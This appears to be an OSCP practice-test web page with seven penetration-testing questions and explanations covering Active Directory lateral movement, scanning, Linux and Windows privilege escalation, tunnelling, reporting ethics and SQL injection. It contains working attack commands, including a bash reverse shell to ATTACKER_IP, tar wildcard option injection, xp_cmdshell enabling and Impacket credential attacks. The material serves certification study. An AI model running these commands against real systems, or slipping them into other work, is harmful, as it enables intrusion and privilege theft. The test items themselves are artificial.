Free OSCP Practice Test 2026 — PEN-200 Practice Questions

Sharpen your OSCP theory with free penetration testing practice questions covering enumeration, exploitation, Linux and Windows privilege escalation, and Active Directory. Every question includes a detailed explanation. No signup required.

OSCP (PEN-200) Exam at a Glance

How to Prepare for the OSCP

The OSCP is entirely hands-on — there are no multiple-choice questions on exam day. Strong theory is what lets you move fast in the lab, so use this free practice test as a diagnostic. Score 70% or higher and pivot to hands-on labs like Hack The Box, TryHackMe, and OffSec Proving Grounds. Miss questions in privilege escalation or Active Directory? Drill those domains before your attempt.

Free OSCP Sample Questions with Answers

Sample Question 1 — Active Directory Attacks & Lateral Movement

You have a low-privileged shell on a Windows Server 2019 member server in an Active Directory domain `corp.local`. You’ve uploaded the Impacket toolkit and obtained the following credentials from a local config file: - Username: `svc_webapp` - Password: `Summer2024!` - Domain: `corp.local` From your foothold, you run: ```bash python3 GetUserSPNs.py corp.local/svc_webapp:'Summer2024!' -dc-ip 10.0.0.10 -request ``` The tool returns: ```text ServicePrincipalName Name MemberOf PasswordLastSet LastLogon ---------------------------------- ------------ -------- ----------------- ----------------- MSSQLSvc/sql01.corp.local:1433 sql_svc ... 2024-01-10 12:33:00 2024-05-01 09:21:10 $krb5tgs$23$*sql_svc$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$b5f8...<snip>...c1a Kerberoast complete! ``` You crack the TGS hash offline and recover: - `sql_svc` / `P@ssw0rd123!` You confirm that `sql_svc` is a domain user and a local administrator on `sql01.corp.local`. Your goal is to move laterally and obtain a full interactive shell on `sql01` without triggering obvious AV signatures. Which of the following is the MOST appropriate next step, assuming you are operating from a Kali box and want to leverage the cracked credentials for lateral movement?

  1. A. Use Impacket’s `psexec.py` with the cracked credentials to obtain a SYSTEM shell on `sql01.corp.local`: ```bash python3 psexec.py corp.local/sql_svc:'P@ssw0rd123!'@sql01.corp.local ```
  2. B. Use Impacket’s `wmiexec.py` with the cracked credentials to obtain a semi-interactive shell on `sql01.corp.local`: ```bash python3 wmiexec.py corp.local/sql_svc:'P@ssw0rd123!'@sql01.corp.local ``` (Correct answer)
  3. C. Use `GetNPUsers.py` with the cracked credentials to request AS-REP roastable hashes for `sql_svc` and then crack them offline: ```bash python3 GetNPUsers.py corp.local/sql_svc:'P@ssw0rd123!' -dc-ip 10.0.0.10 -request ```
  4. D. Use `secretsdump.py` with the cracked credentials directly against the domain controller to perform a DCSync attack: ```bash python3 secretsdump.py corp.local/sql_svc:'P@ssw0rd123!'@10.0.0.10 ```

Correct answer: B

Explanation: The scenario describes a classic Kerberoasting → credential cracking → lateral movement chain. You have: - Valid domain user creds: `sql_svc` / `P@ssw0rd123!` - `sql_svc` is a local admin on `sql01.corp.local` - You want to move laterally with minimal AV noise from a Kali host. ### Why B is correct `wmiexec.py` is often preferred over `psexec.py` in modern environments because: - It does **not** drop a service binary on disk (unlike `psexec.py`), reducing AV/EDR detections. - It provides a **semi-interactive shell** over WMI using only built-in Windows components. - It leverages the fact that `sql_svc` is a **local administrator** on `sql01`, which is sufficient for remote WMI execution. Command: ```bash python3 wmiexec.py corp.local/sql_svc:'P@ssw0rd123!'@sql01.corp.local ``` This will give you a shell-like interface where commands are executed remotely under the context of `sql_svc` (often with local admin privileges, effectively enabling privesc to SYSTEM via further techniques if needed). This is a realistic, lower-noise lateral movement step after Kerberoasting and cracking a service account that is a local admin on a target host. ### Why the other options are wrong **A: `psexec.py` to get SYSTEM shell** - `psexec.py` is more intrusive: - It uploads a service binary (`RemComSvc`-style) and creates a Windows service. - This behavior is heavily signatured by AV/EDR and is often blocked in modern environments. - While it would likely work technically (local admin creds are enough), the question explicitly asks for a method that avoids **obvious AV signatures**. - In exam/pentest reasoning, `wmiexec.py` is generally the more OPSEC-friendly choice than `psexec.py`. **C: `GetNPUsers.py` for AS-REP roasting `sql_svc`** - AS-REP Roasting targets **accounts that do not require pre-authentication** (`DONT_REQ_PREAUTH` set), usually service or user accounts with that flag. - You already have the **plaintext password** for `sql_svc`; there is no value in trying to AS-REP roast it. - `GetNPUsers.py` is used for **initial credential acquisition**, not for lateral movement once you already have valid creds. - This does not move you closer to an interactive shell on `sql01`. **D: `secretsdump.py` DCSync directly against the DC** - DCSync requires the account to have **replication privileges**, typically: - `Domain Admins`, `Enterprise Admins`, or - `Domain Controllers` group, or - An account explicitly granted `Replicating Directory Changes` rights. - `sql_svc` is described only as a **domain user** and **local admin on sql01**. There is no indication it has domain replication rights. - Attempting DCSync with a non-privileged account will fail and is noisy. - Even if it worked, it’s not the *next logical step* for lateral movement to `sql01`; it’s a domain compromise step. ### Key Takeaway - Kerberoasting → crack service account → use cracked creds for **lateral movement** via WMI/SMB/WinRM. - For lower-AV-noise lateral movement from Kali with Impacket, `wmiexec.py` (B) is the most appropriate choice here.

Sample Question 2 — Enumeration & Reconnaissance

You are performing an internal network penetration test from a Linux attack box on the 10.10.20.0/24 subnet. The client has explicitly warned that legacy industrial control systems on this VLAN are extremely fragile and must not be impacted by aggressive scanning. You want to identify live hosts and their top services with minimal risk, while also fingerprinting OS and versions where possible. Which of the following Nmap approaches is the MOST appropriate starting point in this situation?

  1. A. Run a fast TCP connect scan with OS detection and default scripts against the entire subnet: nmap -sT -O -sC -T4 10.10.20.0/24
  2. B. Run a ping sweep followed by a targeted SYN scan with version detection and conservative timing: nmap -sn 10.10.20.0/24 nmap -sS -sV --version-intensity 3 -T2 -Pn -F -oA safe_scan 10.10.20.0/24 (Correct answer)
  3. C. Use Masscan to quickly identify all open ports, then feed the results to Nmap for service detection: masscan 10.10.20.0/24 -p1-65535 --rate 100000 -oX masscan.xml nmap -sV -iL <(awk -F '"' '/port/{print $8}' masscan.xml)
  4. D. Skip host discovery and run a full TCP SYN scan with OS detection and all ports on the subnet: nmap -sS -O -p- -T3 -Pn 10.10.20.0/24

Correct answer: B

Explanation: The key constraints are: (1) internal /24 network, (2) fragile ICS systems, (3) need to identify live hosts and top services, (4) minimize risk and noise. Why B is correct: - The workflow in B is cautious and methodical: 1) `nmap -sn 10.10.20.0/24` - `-sn` (ping scan only) discovers live hosts without port scanning. - This is relatively low impact: ICMP echo, ARP, and possibly a few light probes depending on privileges. 2) `nmap -sS -sV --version-intensity 3 -T2 -Pn -F -oA safe_scan 10.10.20.0/24` - `-sS`: SYN scan is less intrusive than full TCP connect (`-sT`) because it doesn’t complete the handshake. - `-sV`: service version detection, but with `--version-intensity 3` (default is 7) to reduce the number of probes and aggressiveness. - `-T2`: conservative timing, fewer parallel probes, more spacing between packets — important for fragile systems. - `-Pn`: skip host discovery for the second phase because you already know which hosts are up; Nmap will treat all targets as online, avoiding extra discovery probes. - `-F`: scan only the top 100 most common ports, which is usually enough to identify major services (HTTP, SMB, RDP, SSH, etc.) while reducing traffic. - `-oA safe_scan`: saves results in all formats for later analysis. - This combination balances information gathering with safety and is consistent with real-world methodology when ICS/fragile systems are involved. Why the others are wrong: A: `nmap -sT -O -sC -T4 10.10.20.0/24` - `-sT`: TCP connect scan completes the full three-way handshake for each port, which is more intrusive and heavier on fragile systems than a SYN scan. - `-O`: OS detection sends multiple crafted probes; on sensitive ICS networks, OS detection can be risky and is often disabled or used only on selected hosts after coordination. - `-sC`: runs the default script set, which includes scripts that can be quite chatty or even state-changing in some edge cases. - `-T4`: aggressive timing, more parallelism and less delay between packets — exactly what you want to avoid on fragile networks. - No separation between discovery and targeted scanning; it hits everything at once. C: Masscan with high rate then Nmap - `masscan 10.10.20.0/24 -p1-65535 --rate 100000` is extremely aggressive. Masscan at 100k packets/second can easily overwhelm fragile devices or network gear. - Full port range (`-p1-65535`) is unnecessary for an initial safe recon; it generates a huge amount of traffic. - Even though feeding Masscan results into Nmap is a valid technique in many tests, the rate and scope here directly conflict with the requirement to avoid impacting ICS. D: `nmap -sS -O -p- -T3 -Pn 10.10.20.0/24` - `-p-`: scans all 65,535 TCP ports on every host — very heavy for a first pass, especially on a sensitive VLAN. - `-O`: OS detection again adds extra probes that may be risky. - `-Pn`: skips host discovery and assumes all 256 IPs are up, causing unnecessary scanning of non-existent hosts and more traffic overall. - While `-sS` and `-T3` are more moderate than some options, this is still far from a "minimal risk" approach. In a real exam or engagement, the approach in B demonstrates awareness of: - Separating host discovery from port scanning. - Using conservative timing and reduced version intensity. - Limiting port scope initially. - Respecting client constraints about fragile systems. Domain: Enumeration & Reconnaissance

Sample Question 3 — Linux Privilege Escalation

You have a low-privilege shell as user `webapp` on a Ubuntu 20.04 server. During enumeration, you run `sudo -l` and see: User webapp may run the following commands on app01: (root) NOPASSWD: /usr/bin/tar -czf * `/usr/bin/tar` is the standard GNU tar, not a wrapper script. You confirm with `which tar` and `file /usr/bin/tar`. The current working directory is `/var/www/app/uploads`, which is writable by `webapp`. No other obvious privilege escalation vectors are present. Which of the following is the MOST reliable way to escalate to a root shell given this configuration?

  1. A. Create a malicious `tar` archive containing a SUID-root shell binary and run: `sudo /usr/bin/tar -czf root.tar exploit` to trigger it.
  2. B. Abuse tar's checkpoint action to execute a root shell by running: `sudo /usr/bin/tar -czf backup.tar . --checkpoint=1 --checkpoint-action=exec=/bin/sh`.
  3. C. Exploit wildcard expansion by creating a file named `--checkpoint-action=exec=/bin/sh` and another named `--checkpoint=1`, then running: `sudo /usr/bin/tar -czf backup.tar *`. (Correct answer)
  4. D. Overwrite `/etc/sudoers` by tarring `/etc` with: `sudo /usr/bin/tar -czf /etc/sudoers .` and then editing it as `webapp`.

Correct answer: C

Explanation: The key details: - `webapp` can run `/usr/bin/tar -czf *` as root without a password. - The command is fixed: `tar -czf` followed by `*` (shell wildcard) when invoked via sudo. - The current directory is writable, so `webapp` controls what `*` expands to. - GNU tar supports `--checkpoint` and `--checkpoint-action=exec=...` which can execute commands during archiving. The attack is a classic wildcard / argument injection privilege escalation: 1. As `webapp`, create specially named files in the writable directory: ```bash cd /var/www/app/uploads touch "--checkpoint=1" touch "--checkpoint-action=exec=/bin/sh" ``` 2. When you run the allowed sudo command: ```bash sudo /usr/bin/tar -czf backup.tar * ``` the shell expands `*` to all filenames in the directory. Because the filenames start with `--`, tar interprets them as options, not as regular files. 3. Effective command line seen by tar becomes: ```bash /usr/bin/tar -czf backup.tar . --checkpoint=1 --checkpoint-action=exec=/bin/sh ``` (plus other files), executed as root. 4. When tar hits the checkpoint, it executes `/bin/sh` as root, giving you a root shell. This is exactly what option C describes. Why the other options are wrong: A) "Create a malicious `tar` archive containing a SUID-root shell binary and run: `sudo /usr/bin/tar -czf root.tar exploit` to trigger it." - `tar -czf` **creates** a compressed archive; it does not extract or execute anything. - Even if `exploit` were a SUID binary, simply archiving it does not change its permissions or run it. - There is no mechanism here that would cause the SUID bit to be set or the binary to be executed as root. - This misunderstands what `-czf` does (create, gzip, file), so it does not provide privilege escalation. B) "Abuse tar's checkpoint action to execute a root shell by running: `sudo /usr/bin/tar -czf backup.tar . --checkpoint=1 --checkpoint-action=exec=/bin/sh`." - This would work **if** you could control the entire command line, but you cannot. - The sudo rule is explicitly `NOPASSWD: /usr/bin/tar -czf *` — you are not allowed to append arbitrary options after `*` when invoking via sudoers; the admin has locked the command pattern. - Running `sudo /usr/bin/tar -czf backup.tar . --checkpoint=1 ...` would not match the sudoers rule and would be denied. - The only controllable part is what `*` expands to, which is why the wildcard injection in C is required. D) "Overwrite `/etc/sudoers` by tarring `/etc` with: `sudo /usr/bin/tar -czf /etc/sudoers .` and then editing it as `webapp`." - `tar -czf /etc/sudoers .` creates a **compressed tar archive** at `/etc/sudoers`. - That would corrupt `/etc/sudoers` and likely break sudo entirely, but it does not give you controlled privilege escalation. - Also, you still cannot edit `/etc/sudoers` as `webapp` because file permissions on `/etc/sudoers` are root-owned and restrictive; overwriting it with a tarball doesn't change your user permissions. - This is destructive and unreliable, not a valid privesc path. Therefore, the correct and realistic privilege escalation technique is to exploit wildcard expansion to inject tar's `--checkpoint` and `--checkpoint-action` options, as in option C.

Sample Question 4 — Pivoting, Tunneling & Post-Exploitation

You compromised a Linux web server (10.10.10.5) in a segmented DMZ. From this host, you can reach an internal Windows server (172.16.20.10) on RDP (3389), but your Kali box (192.168.56.10) cannot reach 172.16.20.0/24 directly. You want to use xfreerdp from your Kali machine to interactively RDP into 172.16.20.10 through the Linux pivot host over SSH. Which command on your Kali machine is the MOST appropriate to set up the tunnel?

  1. A. ssh -L 3389:172.16.20.10:3389 www-data@10.10.10.5
  2. B. ssh -R 3389:172.16.20.10:3389 www-data@10.10.10.5
  3. C. ssh -D 3389 www-data@10.10.10.5
  4. D. ssh -L 127.0.0.1:3389:172.16.20.10:3389 www-data@10.10.10.5 (Correct answer)

Correct answer: D

Explanation: You want a local port on Kali that forwards traffic to the internal RDP service via the pivot. That is classic local port forwarding. Why D is correct: - Syntax: `ssh -L [bind_address:]local_port:remote_host:remote_port user@pivot` - `ssh -L 127.0.0.1:3389:172.16.20.10:3389 www-data@10.10.10.5` binds 127.0.0.1:3389 on Kali and forwards it through the SSH connection to the pivot, which then connects to 172.16.20.10:3389. - After this, you can run: `xfreerdp /v:127.0.0.1:3389 /u:DOMAIN\user /p:Password123!` from Kali, and the traffic is transparently tunneled. - Binding explicitly to 127.0.0.1 is safer (doesn’t expose the forwarded port to other hosts on your Kali’s network) and is a common exam-grade expectation. Why the others are wrong: - A: `ssh -L 3389:172.16.20.10:3389 www-data@10.10.10.5` - Functionally similar to D but omits the bind address. On many systems this still works and binds to 127.0.0.1 by default, but in exam contexts, the explicit, least-privilege binding is preferred and unambiguous. D is the best, most precise answer. - B: `ssh -R 3389:172.16.20.10:3389 www-data@10.10.10.5` - This is reverse port forwarding: it would open port 3389 on the pivot (10.10.10.5) and forward to 172.16.20.10:3389 via Kali. That’s the opposite of what you need. You want to access the internal host from Kali, not expose it on the pivot. - C: `ssh -D 3389 www-data@10.10.10.5` - This sets up a SOCKS proxy on Kali at port 3389. You’d then need a SOCKS-aware client or proxychains to use it. xfreerdp is not SOCKS-aware by default, and the question specifically wants a direct tunnel for RDP, not a generic SOCKS proxy. Relevant technique: - Local port forwarding is a core pivoting technique: compromise pivot → `ssh -L` → use native tools (RDP, WinRM, MSSQL clients) against internal hosts as if they were local.

Sample Question 5 — Reporting, Documentation & Methodology

You are performing an internal penetration test for a financial client. During the engagement, you: 1. Obtained a low-privilege shell on an internal web server via a deserialization bug. 2. Enumerated the network and discovered an internal MSSQL server with weak credentials. 3. Used xp_cmdshell to pivot and eventually performed a DCSync attack from a compromised member server. 4. Extracted the NTDS.dit hashes and cracked several high-privilege passwords offline. The client’s legal team has explicitly stated in the Rules of Engagement (RoE) that: - No password cracking is allowed. - No direct interaction with the domain controller is allowed. - Only evidence that can be reproduced by the client’s internal team should be included in the final report. You already performed steps 3 and 4 before noticing the RoE restrictions in the provided documentation. You now need to document this chain in the final report. Which of the following reporting approaches BEST aligns with professional penetration testing methodology, legal considerations, and defensible documentation practices? A. Fully document every step, including the DCSync and password cracking, and provide all cracked passwords in the main report. Argue that the RoE was unrealistic and that real attackers would do the same. B. Omit all mention of the DCSync and password cracking from the report to avoid legal issues. Only report the initial web server compromise and MSSQL weak credentials. C. Document the attack path up to the point allowed by the RoE (web server → MSSQL → ability to perform DCSync), clearly mark that actions beyond the RoE (actual DCSync and password cracking) were performed in error, summarize the risk and impact without including cracked passwords, and immediately notify the client and your management. D. Only mention that “domain compromise is possible via misconfigurations” without describing the specific path or tools used, to avoid self-incrimination and keep the report high-level.

  1. A. Fully document every step, including the DCSync and password cracking, and provide all cracked passwords in the main report. Argue that the RoE was unrealistic and that real attackers would do the same.
  2. B. Omit all mention of the DCSync and password cracking from the report to avoid legal issues. Only report the initial web server compromise and MSSQL weak credentials.
  3. C. Document the attack path up to the point allowed by the RoE (web server → MSSQL → ability to perform DCSync), clearly mark that actions beyond the RoE (actual DCSync and password cracking) were performed in error, summarize the risk and impact without including cracked passwords, and immediately notify the client and your management. (Correct answer)
  4. D. Only mention that “domain compromise is possible via misconfigurations” without describing the specific path or tools used, to avoid self-incrimination and keep the report high-level.

Correct answer: C

Explanation: The scenario tests methodology, ethics, and reporting discipline, not just technical skill. Why C is correct: - Professional methodology requires: - Adherence to the Rules of Engagement (RoE) and scope. - Transparency when scope is accidentally exceeded. - Reproducible, actionable documentation. - Option C does all of this: 1. **Documents the attack chain clearly and technically** up to the RoE boundary: - Initial foothold: e.g., deserialization exploit on web server. - Lateral movement: e.g., using weak MSSQL credentials and `xp_cmdshell` to execute commands. - Demonstrated capability: showing that the compromised context has rights to perform DCSync (e.g., membership in `Domain Admins` or `Replication`-related groups, or ability to run `impacket-secretsdump` from that host if allowed). 2. **Explicitly flags the overstep** (DCSync and password cracking) as an error, which is critical for legal and ethical defensibility. 3. **Summarizes risk and impact** without including sensitive artifacts that violate the RoE (e.g., cracked passwords, full hash lists). 4. **Escalates internally and to the client** so that legal and management can decide how to handle the deviation. This aligns with real-world OSCP/PNPT/OSEP-style expectations: you must show the kill chain, but also show you understand scope, legal boundaries, and how to document responsibly. Why A is wrong: - While detailed technical documentation is normally good, this option: - **Ignores the RoE** and attempts to justify the violation. - Provides **sensitive data (cracked passwords)** explicitly disallowed by the client. - Argues that the RoE is unrealistic, which is not your call as a tester; your job is to operate within the agreed scope. - In a real engagement, this can create legal exposure for you and your company and damage client trust. Why B is wrong: - Completely omitting the DCSync and password cracking: - **Hides a critical risk**: the fact that domain compromise is achievable from the compromised path. - **Removes key context** about the severity of the MSSQL and AD misconfigurations. - Violates the principle of accurate, complete reporting. - You must be transparent about what actually happened, especially when scope was exceeded, but you can limit sensitive artifacts and clearly mark the mistake. Why D is wrong: - A vague statement like “domain compromise is possible” without: - The **specific path** (web server → MSSQL → DCSync capability), - The **conditions required**, or - **Reproducible steps** makes the report less actionable. - Professional methodology requires **clear, reproducible attack paths** and remediation guidance, not hand-wavy statements. - Also, avoiding detail to “avoid self-incrimination” is the opposite of transparent, defensible documentation. Relevant methodology points: - **Kill chain reasoning**: Show how an initial foothold can lead to domain compromise. - **Scope adherence**: Respect RoE; when violated, document and escalate. - **Reproducibility**: Provide commands and logic the client can follow, e.g.: - `sqlcmd -S mssql.internal.local -U sa -P <password>` - `EXEC sp_configure 'show advanced options', 1; RECONFIGURE;` - `EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;` - `EXEC xp_cmdshell 'whoami /groups';` - **Risk communication**: Explain that the compromised account can perform DCSync (e.g., via `impacket-secretsdump`), even if you do not include cracked passwords due to RoE. Thus, C is the only option that balances technical accuracy, ethics, legal constraints, and professional reporting methodology.

Sample Question 6 — Vulnerability Analysis & Exploitation

You are testing an internal web application running on http://intranet.local:8080. A directory brute-force reveals an admin panel: /admin/login.php When you access it, you see a simple login form. You intercept the request in Burp and send it to Repeater. A failed login attempt looks like this: POST /admin/login.php HTTP/1.1 Host: intranet.local:8080 Content-Type: application/x-www-form-urlencoded username=admin&password=test123 Response: HTTP/1.1 200 OK Set-Cookie: PHPSESSID=6t4k3p3q1v4l9s1u9o3m2f7h2; Content-Type: text/html; charset=UTF-8 Invalid credentials You run sqlmap with the following command: sqlmap -u "http://intranet.local:8080/admin/login.php" \ --data "username=admin&password=test123" \ -p username --level 5 --risk 3 --batch sqlmap reports: [INFO] POST parameter 'username' appears to be 'MySQL >= 5.0 AND error-based' injectable [INFO] the back-end DBMS is MySQL You want to obtain a stable interactive shell on the target host. The web server is Linux-based, and you have confirmed that outbound connections to your attacking machine on TCP/443 are allowed. Which of the following is the most appropriate next step to reliably gain a shell using sqlmap’s capabilities?

  1. A. Use sqlmap with the `--os-shell` option and specify a TCP bind shell payload on port 4444, then connect to it from your machine using `nc intranet.local 4444`.
  2. B. Use sqlmap with `--os-shell` and `--os-pwn` together, letting sqlmap automatically upload a Meterpreter reverse HTTPS payload to connect back to your handler on port 443.
  3. C. Use sqlmap with `--os-pwn` and configure a Metasploit multi/handler for `windows/meterpreter/reverse_tcp` on port 443, then let sqlmap handle the payload delivery.
  4. D. Use sqlmap with `--os-shell` to get an interactive command shell over HTTP, then manually issue a bash one-liner reverse shell to your listener on port 443 for a more stable session. (Correct answer)

Correct answer: D

Explanation: The scenario: you have confirmed a POST parameter `username` is error-based injectable on a Linux web server with MySQL backend. Outbound connections to your attacking machine on TCP/443 are allowed. The goal is a stable interactive shell using sqlmap’s capabilities. Correct answer: D Reasoning: 1. sqlmap’s `--os-shell` option, when supported, gives you an interactive pseudo-shell over HTTP by leveraging the SQL injection to execute OS commands. This is often slow and limited, but it’s enough to run a one-liner reverse shell. 2. Since outbound connections to your attacking machine on TCP/443 are allowed, the most reliable approach is to: - Start a listener on your machine, e.g.: - `nc -lvnp 443` (traditional netcat) - or `rlwrap nc -lvnp 443` for a better TTY experience. - Use `sqlmap --os-shell` to get command execution, then run a reverse shell one-liner such as: - `bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'` - Once the reverse shell connects, you can stabilize it (e.g. Python pty, stty, etc.). 3. This chain uses sqlmap’s built-in OS command execution to bootstrap a more stable, direct TCP shell, which is a common real-world technique. Why the other options are wrong: A) "Use sqlmap with the `--os-shell` option and specify a TCP bind shell payload on port 4444, then connect to it from your machine using `nc intranet.local 4444`." - Issues: - `--os-shell` does not let you directly "specify a TCP bind shell payload"; it gives you an interactive command execution interface over HTTP. - A bind shell on the target (listening on 4444) may be blocked by internal firewalls or host-based controls, especially in enterprise environments. The scenario explicitly states outbound 443 is allowed, which favors a reverse shell, not a bind shell. - This answer mixes concepts and overstates what `--os-shell` can configure automatically. B) "Use sqlmap with `--os-shell` and `--os-pwn` together, letting sqlmap automatically upload a Meterpreter reverse HTTPS payload to connect back to your handler on port 443." - Issues: - `--os-shell` and `--os-pwn` are mutually exclusive in practice; `--os-pwn` is for automated exploitation (e.g., Metasploit integration), while `--os-shell` is for interactive command execution. You don’t combine them in the way described. - sqlmap’s `--os-pwn` feature is limited, often unstable, and not guaranteed to work in modern hardened environments. The question asks for the *most appropriate* and reliable next step; relying on `--os-pwn` automation is less controlled and more brittle than manually triggering a reverse shell via `--os-shell`. - The answer hand-waves the configuration details (payload selection, handler setup) and assumes sqlmap will "automatically" do everything, which is not realistic exam-grade reasoning. C) "Use sqlmap with `--os-pwn` and configure a Metasploit multi/handler for `windows/meterpreter/reverse_tcp` on port 443, then let sqlmap handle the payload delivery." - Issues: - The target is explicitly described as Linux-based. Using a Windows Meterpreter payload (`windows/meterpreter/reverse_tcp`) is incorrect and would fail. - Even if `--os-pwn` were used, you would need a Linux-appropriate payload (e.g., `linux/x86/meterpreter/reverse_tcp` or similar), not a Windows one. - Again, `--os-pwn` is less reliable and more situational than a straightforward reverse shell via `--os-shell`. Why D is best: - D uses `--os-shell` for what it’s good at: giving you a way to run arbitrary commands. - It then uses a standard, exam-relevant technique: manually issuing a reverse shell one-liner to a known-good outbound port (443), which is explicitly allowed. - This gives you a direct TCP shell that you control, which you can then stabilize (e.g., with: - `python3 -c 'import pty; pty.spawn("/bin/bash")'` - `stty raw -echo; fg` - `export TERM=xterm-256color` - This reflects realistic, hands-on exploitation logic: use the SQLi to get RCE, then pivot to a more stable shell. Domain: Vulnerability Analysis & Exploitation - You identified a SQL injection with sqlmap. - You selected an appropriate exploitation path (`--os-shell` + manual reverse shell) based on OS, network egress, and tool capabilities. - You avoided over-reliance on automated Metasploit integration and chose a controlled, realistic attack chain.

Sample Question 7 — Windows Privilege Escalation

You have a low-privilege reverse shell (NT AUTHORITY\LOCAL SERVICE) on a Windows Server 2019 member server. During enumeration, you run the following commands: 1) Check your token privileges: whoami /priv Privilege Name Description State ============================= ========================================= ======== SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled 2) Enumerate named pipes using a precompiled binary (PrintSpoofer-style tool): C:\temp> .\pipe_enum.exe [+] Found pipe: \\.\pipe\spoolss [+] Found pipe: \\.\pipe\ntsvcs [+] Found pipe: \\.\pipe\lsass 3) You confirm the Print Spooler service is running: PS C:\temp> Get-Service Spooler Status Name DisplayName ------ ---- ----------- Running Spooler Print Spooler Your goal is to escalate to NT AUTHORITY\SYSTEM without crashing the box or dropping obvious malware. Which of the following is the MOST appropriate next step?

  1. A. Use a token duplication tool (e.g., incognito) to directly duplicate the SYSTEM token from lsass.exe and spawn a SYSTEM shell.
  2. B. Use a named pipe impersonation exploit (e.g., PrintSpoofer or RoguePotato-style) against the Spooler service via \\.\pipe\spoolss to trigger SYSTEM authentication and impersonate the token. (Correct answer)
  3. C. Enable RDP via registry edits and then attempt a Pass-the-Hash attack using the LOCAL SERVICE account hash to log in as SYSTEM.
  4. D. Exploit SeCreateGlobalPrivilege by creating a malicious global mutex that forces SYSTEM processes to load your DLL from C:\temp.

Correct answer: B

Explanation: The scenario is a classic modern Windows privilege escalation path leveraging SeImpersonatePrivilege and a service that will authenticate as SYSTEM over a named pipe. Why B is correct: - You have SeImpersonatePrivilege enabled, which is exactly what tools like PrintSpoofer, RoguePotato, and JuicyPotatoNG abuse. - The Print Spooler service is running and exposes the \\.\pipe\spoolss named pipe. This is a well-known target for named pipe impersonation attacks. - The typical attack chain: 1) Start a named pipe server that the Spooler (running as SYSTEM) will connect to. 2) Coerce the Spooler to authenticate to your pipe. 3) When the SYSTEM client connects, call ImpersonateNamedPipeClient to obtain a SYSTEM token. 4) Use that token to spawn a SYSTEM shell. A PrintSpoofer-style command might look like: C:\temp> PrintSpoofer.exe -i -c "cmd.exe" or, with a more modern tool: C:\temp> RoguePotato.exe -r <attacker_ip> -e "cmd.exe" -l 9999 - This approach is low-noise, does not require kernel exploits, and is aligned with current OSCP/PNPT/OSEP-style privesc techniques. Why A is wrong: - Directly duplicating the SYSTEM token from lsass.exe is not possible from a LOCAL SERVICE context without additional privileges (e.g., SeDebugPrivilege) or a separate exploit. - Tools like incognito (Meterpreter) require that you already have access to a token (e.g., via impersonation or a process handle). You cannot simply "pull" SYSTEM's token out of lsass.exe from this low-privileged context. - The question explicitly highlights SeImpersonatePrivilege and named pipes, pointing toward a named pipe impersonation chain, not direct LSASS token theft. Why C is wrong: - LOCAL SERVICE is a local pseudo-account; it does not have credentials or a reusable NTLM hash you can meaningfully use for Pass-the-Hash to become SYSTEM. - Enabling RDP and trying to log in as SYSTEM is not a valid technique; SYSTEM is not a normal logon account. - This is noisy (registry changes, service changes) and not the intended or realistic escalation path given the information. Why D is wrong: - SeCreateGlobalPrivilege allows creating global named objects (e.g., mutexes, events) in terminal server sessions, but by itself it does not force SYSTEM processes to load arbitrary DLLs. - There is no standard, reliable privesc technique that simply abuses SeCreateGlobalPrivilege alone to escalate to SYSTEM in the way described. - The described behavior ("malicious global mutex that forces SYSTEM processes to load your DLL") is not a realistic or common attack pattern in current exam-grade scenarios. Therefore, leveraging SeImpersonatePrivilege with a named pipe impersonation exploit against the Print Spooler (option B) is the correct and most realistic next step.

Start the free OSCP practice test now | eJPT practice test | All offensive security domains | All Sample Tests